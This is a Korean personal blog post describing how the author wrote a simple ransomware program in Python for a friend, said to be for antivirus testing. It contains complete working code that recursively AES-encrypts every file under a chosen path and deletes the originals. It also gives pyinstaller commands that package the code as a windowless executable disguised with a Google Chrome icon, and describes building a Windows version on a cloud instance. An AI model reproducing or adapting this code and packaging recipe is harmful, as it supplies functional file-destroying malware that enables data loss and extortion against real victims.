ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [Python] 어느 날 친구가 악성 프로그램을 만들어줄 수 있겠냐고 물어봤다.
    언어, 프레임워크/Python 2023. 7. 23. 21:57

     
     

    어디까지나 테스트 목적으로 진행한 것이며, 아래 내용을 따라해 발생하는 일에 대해 책임지지 않습니다!


     
    말 그대로 이건 친구의 부탁을 받아 윈도우용 랜섬웨어 프로그램을 만든 기록이다.

     

    사정을 이야기하자면, 친구는 보안 시스템 회사에서 일을 하고 있으며 백신 프로그램을 테스트하기 위해 악성 프로그램이 필요한 상황이었다. 친구 부탁이기도 하고 호기심도 생겨서 그래!라고 대답했다. 악성 프로그램 중에서도 랜섬웨어 프로그램을 만들어달라고 하여 찾아보았다. 
     

    랜섬웨어(Ransomware)는 몸값을 뜻하는 Ransom과 Software(소프트웨어)가 더해진 합성어이다.
    컴퓨터 시스템을 감염시켜 접근을 제한하고 몸값을 요구하는 악성 소프트웨어의 한 종류로, 컴퓨터 접근이 제한되기 때문에 제한을 없애려면 해당 악성 프로그램을 개발한 자에게 지불을 강요받게 된다. 암호화되는 랜섬웨어도 있고, 단순히 시스템을 잠그고 사용자에게 지불을 요구하는 안내문구를 띄우는 경우도 있다.
    랜섬웨어의 원리는 암호화 알고리즘을 이용하여 파일 데이터를 암호화해 사용을 막는 것이다. 초기에는 복호화가 가능한 양방향 암호화 방식으로 랜섬웨어 프로그램을 개발했으나, 여러 업체들이 솔루션을 만들어 대항하자 단방향 암호화 방식으로 제작되기 시작했다. 

     


     

    개발환경 및 버전 정보

    OS: macOS Ventura 13.3.1
    python version: 3.11.4

    pip version: 23.2.1

     
     

    사전 작업 

    # 가상환경 생성
    $ python3 -m venv <가상환경명>
    
    # 가상환경 활성화
    $ source <가상환경명>/bin/activate
    
    # pip 패키지 업데이트
    $ pip install --upgrade pip
    
    # 파이썬 모듈 설치
    $ pip install pycryptodomex
    $ pip install pyinstaller
    
    # 설치 모듈 확인
    $ pip list
    • pycryptodomex
      파이썬 암호화 패키지. PyCryptodome의 독립적인(standalone) 버전이며 PyCrypto, PyCryptodome과 이름 규칙이 다름.
    • pycryptodome
      파이썬 암호화 패키지. PyCrypto를 계승했으며 PyCrypto 대신하여 사용 가능.
    • pyinstaller
      파이썬 코드를 실행 파일을 만들어주는 모듈.

     
     

    코드 작성

    구글링 해보면 랜섬웨어 프로그램 코드들이 많이 나오는데 그중 하나를 참고하여 작성했다.  AES 양방향 암호화 알고리즘을 사용했으며, 아래 코드에서 복호화하는 부분은 빠져있다. 참고 링크에 가면 복호화하는 코드도 있으니 필요한 분들은 보시길!

    # 참고: https://github.com/marcosValle/RansPy/blob/master/enc.py
    
    import glob
    import os, random, struct
    from Cryptodome.Cipher import AES
    
    def encrypt_file(key, in_filename):
        try:
          out_filename = in_filename + '.enc'
          chunksize=64*1024
    
          iv = os.urandom(16) 
          encryptor = AES.new(key ,AES.MODE_CBC, iv)
          filesize = os.path.getsize(in_filename)
    
          # with open as 구문을 벗어나면 자동 close() 처리됨
          # rb모드로 파일 읽기 (bytes)
          with open(in_filename, 'rb') as infile:
              # wb모드로 파일 쓰기 (bytes)
              with open(out_filename, 'wb') as outfile:
                  outfile.write(struct.pack('<Q', filesize))
                  outfile.write(iv)
    
                  while True:
                      chunk = infile.read(chunksize)
                      if len(chunk) == 0:
                          break
                      elif len(chunk) % 16 != 0:
                          chunk += b' ' * (16 - len(chunk) % 16)
    
                      outfile.write(encryptor.encrypt(chunk))
        # 예외 발생시 pass
        except: 
          pass
    
    # start_path_win = '<경로>\\**'
    start_path_mac = '<경로>/**'
    key = b'TESTKEY102030405'
    
    # start_path 밑에 있는 모든 파일을 암호화
    for filename in glob.iglob(start_path_mac, recursive=True):
        if(os.path.isfile(filename)):
            # 암호화 파일 생성
            encrypt_file(key, filename)
            # 기존 파일 삭제
            os.remove(filename)

    <경로>/** 이기 때문에 모든 유형의 파일이 암호화되며, <경로>/**/*.txt 처럼 입력하면 txt 유형의 파일만 특정해서 암호화할 수 있다.
     
     

    테스트

    프로그램을 실행하여 문제없이 동작하는지 확인해보았다.

     
     

    컴파일

    코드상에 문제 없(어보이는)는 걸 확인했으니 이걸 실행 파일로 만들면 끝이다. MacOS에서 사용할 수 있는 파일 아이콘 확장자는 ICNS 형식이라고 한다. 프로그램에 아이콘을 적용하기 위해 아래 페이지에서 아이콘 파일을 다운로드하자. 구글 크롬 아이콘 incs 다운로드 받기

     

    구글 크롬  아이콘 에 Social icons

    구글 크롬아이콘 에 Social icons ✓ Find 완벽한 아이콘을 위해 귀하의 프로젝트가 있습니다 SVG, PNG, ICO 또는 ICNS에서 무료로 다운로드 할 수 있습니다.

    icon-icons.com

     
    다운로드한 아이콘 파일을 사용해 실행 프로그램 생성하자. 사용한 옵션에 대한 설명은 아래와 같다. (분명 '제목에 윈도우용 이라고 써져있는데 왜 이렇게 진행하시죠?'라는 의문을 갖는 분들이 계실 것이다. 아래 삽질 부분까지 보시면 이해 가실 것...^^)

    # 실행프로그램 생성
    pyinstaller -w -F -n enc_test --icon=./Google_Chrome.icns ./Encrypt.py
    • -w
      콘솔 윈도우 표시 안함.
    • -F
      모듈을 포함한 모든 리소스들을 하나의 실행 파일에 넣어 단일 파일을 생성. (프로그램이 단순하고 작을 때 사용하는걸 추천)
    • -n <실행파일 이름>
      실행 파일 이름 지정.
    • --icon <아이콘 파일 경로>
      실행 파일 아이콘 지정.

     
    dist 폴더 밑에 실행 파일이 생성됐고 프로그램을 실행하니 txt 파일이 암호화되어 내용이 안 보이는 걸 확인했다.

     
     

    삽질

    내 노트북에서 테스트를 끝낸 뒤 코드에서 경로 부분을 변경하여 실행 파일을 다시 만들고 친구에게 전달해 주었는데 실행 파일이 안 열린다고 했다. 찾아보니 pyinstaller를 통해 컴파일한 결과물인 실행 파일은 해당 운영체제에서만 실행 가능하다. 즉 Mac에서 빌드하면 MacOS에서만 돌아가는 실행 프로그램이 생성되고 Window에서 빌드하면 Window OS에서만 돌아가는 실행 파일이 만들어지는 것이다. 크로스컴파일이라는 키워드로 구글링 해보니 wine이라는 툴을 이용해 MacOS에서 윈도우 실행 파일을 만든 분도 있었다. 하지만 난 wine 사용을 포기했다. wine을 설치하고 진행하면서 몇 가지 에러도 발생했고, 일회성 작업 때문에 내 노트북에 이것저것 설치하는 것이 싫었기 때문이다. 그리고 윈도우 환경에서 실행 프로그램이 정상 동작하는지 테스트해보려면 GUI 환경도 필요했다. 그래서 AWS EC2 인스턴스를 이용해 윈도우 환경을 만들고 이를 가상머신처럼 사용하기로 결정했다. 이어지는 내용은 윈도우 환경의 인스턴스에 접속하는 방법이다.

    1. RDP(Remote Desktop Connection) 클라이언트 선택 > 연결 유형으로 Fleet Manager 선택

     
    2. 암호 가져오기 클릭

     
    3. 프라이빗 키 파일 업로드 버튼 클릭 > 저장한 pem key를 선택한 뒤 아래에 있는 암호 해독 버튼 클릭

     
    4. Fleet Manager 원격 데스크톱 버튼 클릭

     
    5. 4번에서 확인한 사용자 이름과 암호를 입력 후 연결하기 버튼 클릭

     
    6. 연결 확인

     
    내 로컬에서 작업한 내용을 git 저장소에 올리고, 해당 EC2 인스턴스에서 pull 한 뒤 pyinstaller를 이용해 컴파일해 윈도우 실행파일을 생성했다 (이를 위해 EC2 인스턴스에는 파이썬 및 모듈, 그리고 git을 설치했다). EC2 인스턴스에서 최종 테스트를 통해 문제 없는 것을 확인하고, 실행 파일을 git 저장소에 올린 후 로컬에서 이를 pull 받았다. 플로우를 그리면 아래와 같다. 정말 비효율적인....

     
     

    결론

    맥에서 윈도우 프로그램 만드는 사람들이 이렇게 비효율적으로 할 것 같지 않다. 분명 다른 방법이 있을텐데 그게 뭔질 모르겠네... 아무튼 랜섬웨어 프로그램 개발 자체는 생각보다 별게 없었다 (실제 랜섬웨어 프로그램은 이것보다 복잡하겠지만). 누군가가 나쁜 마음을 먹으면 악성 프로그램을 만들어 뿌리는 건 쉽기 때문에 우리는 모르는 프로그램 함부로 다운로드 받아서 실행하지 말고, 이상한 링크도 클릭하지 말고, 항상 보안을 신경쓰며 조심해야 한다. 그리고 혹시 모를 사태에 대비하여 백업도 해야하고🥲. 결과적으로 정신 교육 + 이런저런 삽질을 통해 새롭게 알게 된 게 있어서 좋은 경험이었다.
     
     


    참고 자료

    댓글

jaejade's blog ٩( ᐛ )و